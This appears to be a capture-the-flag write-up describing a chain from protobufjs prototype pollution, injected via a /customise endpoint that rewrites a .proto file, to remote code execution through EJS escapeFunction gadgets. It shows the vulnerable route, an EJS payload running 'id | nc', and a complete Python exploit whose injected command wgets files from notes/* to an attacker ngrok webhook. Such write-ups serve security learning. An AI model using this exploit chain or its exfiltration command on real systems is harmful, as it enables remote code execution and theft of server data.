Protobuf Prototype Pollution To EJS RCE
app.post("/customise", (req, res) => {
try {
const { data } = req.body;
let author = data.pop()["author"];
let title = data.pop()["title"];
let protoContents = fs.readFileSync("./settings.proto", "utf-8").split("\n");
if (author) {
// we can add other types, and declared default. we assume we can overwrite the content to be default is xss?
protoContents[5] = ` ${author} string author = 3 [default="user"];`;
}
if (title) {
protoContents[3] = ` ${title} string title = 1 [default="user"];`;
}
fs.writeFileSync("./settings.proto", protoContents.join("\n"), "utf-8");
// For debugging in docker
console.log(protoContents.join("\n"));
...
we can manipulate the scheme settings.proto to produce prototype pollution
reff : https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665
option(a).constructor.prototype.verified = true;
and the server using ejs that vuln to rce also
reff : https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}
so we can use prototype pollution it will be the full payload
option(a).constructor.prototype.client = true;
option(a).constructor.prototype.escapeFunction = "JSON.stringify; process.mainModule.require('child_process').exec('')"
full payload in python :
import httpx
BASE_URL = "http://localhost:3000"
ATTACKER_WEBHOOK = "https://db24-43-252-9-54.ngrok-free.app"
class Base:
def __init__(self, url=BASE_URL) -> None:
self.c = httpx.Client(base_url=url)
def prototype_pollution(self, payload) :
self.c.post(
"/customise",
json={
"data": [
{},
{
"author": payload,
},
]
},
)
## to trigger the prototype pollution.
self.c.post("/create", json={})
def trigger_payload(self):
return self.c.get("/create")
class AddOns(Base):
...
if __name__ == "__main__":
api = Base()
api.prototype_pollution("""
optional string author = 3 [default="user"];
}
option(a).constructor.prototype.client = 1;
option(a).constructor.prototype.escapeFunction = "JSON.stringify; process.mainModule.require('child_process').exec('wget """+ATTACKER_WEBHOOK+""" --post-data= "$(cat notes/*)')"
message X {
optional
""".strip())
api.trigger_payload()
Obtain the flag :
Thanks for :